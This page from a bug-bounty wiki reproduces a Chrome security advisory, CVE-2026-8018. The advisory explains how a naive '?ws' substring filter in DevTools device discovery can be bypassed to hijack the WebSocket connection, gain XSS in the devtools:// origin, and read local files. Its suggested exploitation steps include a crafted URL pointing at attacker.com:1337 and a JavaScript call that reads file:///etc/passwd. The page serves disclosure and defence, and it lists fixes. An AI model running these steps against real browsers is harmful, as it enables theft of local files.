Skip to content
XSS Advisory Advanced CVE-2026-8018

Insufficient policy enforcement in DevTools (CVE-2026-8018)

A logic flaw in Chrome's DevTools device discovery allows a malicious target to bypass the WebSocket parameter filter by reordering query parameters, leading to XSS in the privileged devtools:// origin. From there, an attacker could read arbitrary local files via the loadNetworkResource API.

Google Chrome

Originally disclosed on Chrome VRP

  • Fix shipped in 36 days

Project Fortify, an experimental security project, has identified the following potential security issue.

Overview: A logic flaw in DevTools device discovery allows a malicious target to bypass the ws query parameter filter by simply reordering parameters. This allows an attacker to hijack the DevTools frontend WebSocket connection and achieve XSS in the privileged devtools:// origin. From there, the attacker can potentially read arbitrary local files using the unrestricted loadNetworkResource DevTools API.

Affected files:

  • chrome/browser/devtools/device/devtools_device_discovery.cc
  • chrome/browser/devtools/devtools_ui_bindings.cc
  • chrome/browser/ui/webui/devtools/devtools_ui_data_source.cc
  • chrome/browser/ui/webui/devtools/devtools_ui.cc
  • chrome/browser/devtools/devtools_window.cc

Estimated timestamp from git blame: 2023-05-08

Vulnerability Details

When discovering remote devices (e.g., via chrome://inspect#devices), Chrome parses the target's devtoolsFrontendUrl. To prevent malicious targets from hijacking the DevTools session, Chrome attempts to strip the ws (WebSocket) parameter in GetFrontendURLFromValue (chrome/browser/devtools/device/devtools_device_discovery.cc).

However, the stripping logic uses a naive substring search:

C++
size_t ws_param = frontend_url.find("?ws");
if (ws_param != std::string::npos) {
  frontend_url = frontend_url.substr(0, ws_param);
}

An attacker can bypass this filter by ensuring ws is not the first query parameter. For example, supplying ?can_dock=true&ws=attacker.com causes find("?ws") to fail, retaining the malicious parameter.

Furthermore, if the attacker's device omits the Browser field in its /json/version response, browser_version evaluates to empty. This prevents Chrome from appending ?remoteVersion= to the URL, keeping the attacker's crafted query string exactly intact.

When Chrome converts this to a devtools:// URL, it checks it against DevToolsUIBindings::IsValidFrontendURL. This function sanitizes the URL and ensures it matches the original. Because can_dock and ws are both explicitly allowed parameters in SanitizeFrontendQueryParam and SanitizeEndpoint (as long as they don't contain & or ?), the malicious URL passes validation. Finally, because the devtools:// CSP does not restrict connect-src, the frontend successfully connects to the attacker's WebSocket.

Potential Exploitation Steps

(Note: These are suggested steps based on code analysis; our tooling agent does not have the ability to run live code to verify a full PoC.)

  1. Attacker Setup: The attacker sets up a malicious TCP target and tricks the victim into adding its IP/port in chrome://inspect#devices.
  2. Version Request: The target responds to Chrome's /json/version request with a payload omitting the Browser field.
  3. List Request: The target responds to /json/list with a devtoolsFrontendUrl pointing to an old, vulnerable DevTools revision on the Google CDN: https://chrome-devtools-frontend.appspot.com/serve_rev/@<vulnerable_revision>/inspector.html?can_dock=true&ws=attacker.com:1337/devtools/page/fake
  4. Filter Bypass: Chrome fails to strip the ws parameter and generates a valid devtools:// URL. The user clicks "Inspect".
  5. WebSocket Hijack: The DevTools UI loads the specified vulnerable frontend and connects to attacker.com:1337 via WebSocket.
  6. XSS: The attacker serves a malicious CDP response over the WebSocket that exploits a known XSS flaw in the old frontend revision, gaining JS execution in the devtools:// origin.
  7. Sandbox Escape / File Read: The attacker's JS executes the following embedder message:
    JavaScript
    DevToolsAPI.sendMessageToEmbedder('loadNetworkResource', ['file:///etc/passwd', '', 1], callback);
    
    In DevToolsUIBindings::LoadNetworkResource, requests for file:// URLs are processed by creating a FileURLLoaderFactory with an empty profile_path. On desktop platforms, this grants unrestricted read access to the local filesystem. The file contents are streamed back to the frontend and exfiltrated by the attacker.

Suggested Fix

  1. Robust URL Parsing: Update GetFrontendURLFromValue in devtools_device_discovery.cc to use a proper URL/query parser (like GURL or net::QueryIterator) to securely locate and remove the ws parameter, rather than relying on a naive std::string::find("?ws") search.
  2. Restrict Local File Access: Audit and restrict DevToolsUIBindings::LoadNetworkResource so that the DevTools frontend cannot arbitrarily load file:// URLs using an unrestricted FileURLLoaderFactory, unless the inspected target itself is a file:// URL.
  3. CSP Hardening: Consider tightening the connect-src CSP directive for devtools:// pages to strictly limit where WebSockets can connect.

Evaluated with Chrome root at commit: ff3d2b74fa39431785bd60e51463b08fcc71ee33


Results from so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

The original report as published on the Chromium issue tracker. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could achieve XSS in the privileged devtools:// origin and potentially read arbitrary local files, though the report notes the exploitation steps are suggested based on code analysis and not verified with a live PoC.

What the attacker needed

Victim adds attacker's device in chrome://inspect; attacker controls a malicious TCP target; user clicks 'Inspect' on the device

The fix

The fix should use a proper URL/query parser to remove the ws parameter, restrict file:// access in LoadNetworkResource, and tighten the connect-src CSP for devtools:// pages.

How it was found

  1. Attacker sets up a malicious TCP target and tricks the victim into adding its IP/port in chrome://inspect#devices.
  2. The target responds to Chrome's /json/version request with a payload omitting the Browser field.
  3. The target responds to /json/list with a devtoolsFrontendUrl pointing to an old, vulnerable DevTools revision on the Google CDN.
  4. Chrome fails to strip the ws parameter and generates a valid devtools:// URL; the user clicks 'Inspect'.
  5. The DevTools UI loads the specified vulnerable frontend and connects to the attacker's WebSocket.
  6. The attacker serves a malicious CDP response over the WebSocket that exploits a known XSS flaw in the old frontend revision, gaining JS execution in the devtools:// origin.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Chrome's DevTools can connect to remote devices to inspect them. The code that removes a dangerous WebSocket parameter only looks for it at the start of the query string, so an attacker can hide it later. This lets the attacker take over the DevTools connection and run malicious code that can read files on your computer.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.